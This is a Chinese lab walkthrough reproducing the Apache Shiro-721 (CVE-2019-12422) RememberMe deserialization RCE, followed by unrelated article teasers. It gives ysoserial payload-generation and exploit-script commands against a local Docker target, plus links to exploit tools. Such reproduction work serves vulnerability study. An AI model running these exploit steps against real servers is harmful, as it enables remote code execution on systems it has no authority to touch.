shiro-721 CVE-2019-12422

news/发布时间2024/5/18 17:56:09

漏洞描述
Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞

影响版本
Apache Shiro < 1.4.2
环境搭建
下载
git clone https://github.com/3ndz/Shiro-721.git
cd Shiro-721/Docker构建、运行
docker build -t shiro-721 .    //不要忽略721后面的那个点,意为当前路径
docker run -p 8080:8080 -d shiro-721

复现过程

选择正确登录,并勾选Remember Me
登录后点击account页面,获取rememberMe的值

 

使用ysoserial生成payload
java -jar ysoserial-master.jar CommonsBeanutils1 "touch /tmp/succ123" > payload.class使用公开exp破解payload的密文
python2 shiro_exp.py  http://0.0.0.0:8080/account/ ksothlyg7KC4Ao/2liRPGUt9AoR1xFrK6WOje7cGFoW5Qz/KQNNucDBmfyznZqI60evUrCCAQMXYlS1TO4/i/J8W8G92OJ4s1rqU9uahWUladtSt5f3Xei1uEE19snJbKeNDqj/OEQLCzTnRef8ZQbRbyExu3jfg3rabpfvRTtC+XA59/pHcwuI8td9oe+8O8pCYkA6T+3lZET/Q6nUH9N3KNoQeSSG/e/4hSDVtSOar42HBMMxaVCWx9lOdiSQLXQJxNCLbjUOWDA2dZ1Vol0QsXGp+g13dZkMDQeZUUJvlpO9zCvPjvdcMpXlS8n/Ovx7XNITyXKz47W+Nt0+01ywcgAw5q+8ntYBicWmKVy1BQouSnTRQis3sf+ktLZubfiDYgjbh7uR0aXPZtY3IZ4fdQby4+AGXuUHxjT9J3eCSz+Iotbv9A1UElswaLON1o3RwLAy6IQ5Cgh3XyBTxVuhV714gWLTCmxEPU0dGqvq9MJOvV2Ogn03eJ1KYDXBB payload.class

此步骤很慢,可以将远程指令设置短一些
下载连接一:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
下载链接二:https://github.com/wuppp/shiro_rce_exp
将的得到的值替换就可成功

工具利用

Shiro-550,只需输入url,即可完成自动化检测和漏洞利用,不能使用可能是环境不兼容
https://github.com/feihong-cs/ShiroExploit

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ulsteruni.cn/article/86452375.html

如若内容造成侵权/违法违规/事实不符,请联系编程大学网进行投诉反馈email:xxxxxxxx@qq.com,一经查实,立即删除!

相关文章

CentOS环境 nginx配置vue项目

nginx配置vue项目ps: 这里使用ruoyi-vue-plus项目举例,官网:https://plus-doc.dromara.org/ 一、配置不带应用路径的vue项目 1、打包。首先将vue项目生产配置文件的的应用访问路径设为/,然后命令行输入run run build:prod进行打包。2、导入环境。将打包文件(dist)拖入Cent…

2020ICPC区域赛南京站

2020ICPC区域赛南京站 K Co-prime Permutation 解题思路: 首先,根据样例2不难发现,\(k\)的下界为\(1\),因为1和排列中的任何数都会互质。 其次,我们考虑下上界大概是多少,也就是\(k = n\)是否一定合法。 假设,我们有一个初识排列\(p_i = i\).此时我们有\(1\)个元素和他的…

Odoo看板视图实践案例

看板视图是一个很常见的可视化解决方案了,例如:联系人卡片,任务卡片,还有二次元朋友们经常逛的哔站。 我个人也是非常喜欢看板视图,比起那些呆板的tree视图,看板视图给人的感觉的就是简洁直观又好看。 本人也是初学Odoo一个月,其中深意只知其一,但也想跟各位大佬分享交…

在线问诊 Python、FastAPI、Neo4j — 创建 饮食节点

目录饮食数据创建节点 根据疾病、症状,判断出哪些饮食不能吃,哪些建议多吃 饮食数据 foods_data.csv 建议值用“”引起来。避免中间有,号造成误识别 饮食 "辣椒" "大蒜" "芥末" "海鲜" "胡萝卜" "核桃仁" &quo…

面试问题之如何解释微服务

这次的面试还是感觉非常愉快,没有那么憋屈,问的问题也非常有意思。 问题 假设现在有一个人完全不懂微服务,你能和对方解释下什么是微服务吗?面试回答 这个问题如果要完全回答好,感觉不是那么容易。 什么是微服务 很多人都知道现代的开发流程多是前后端分离,后端采用部署服…

Java 8 和 11 开始提供的新特性面试

说下 Lambda function Lambda 是 JDK 8 以后的版本才提供的功能。 在 JDK 8 之前是没有的。 Java Lambda表达式 的一个重要用法是简化某些匿名内部类 (Anonymous Classes )的写法。实际上Lambda表达式并不仅仅是匿名内部类的语法糖,JVM内部是通过invokedynamic 指令来实现La…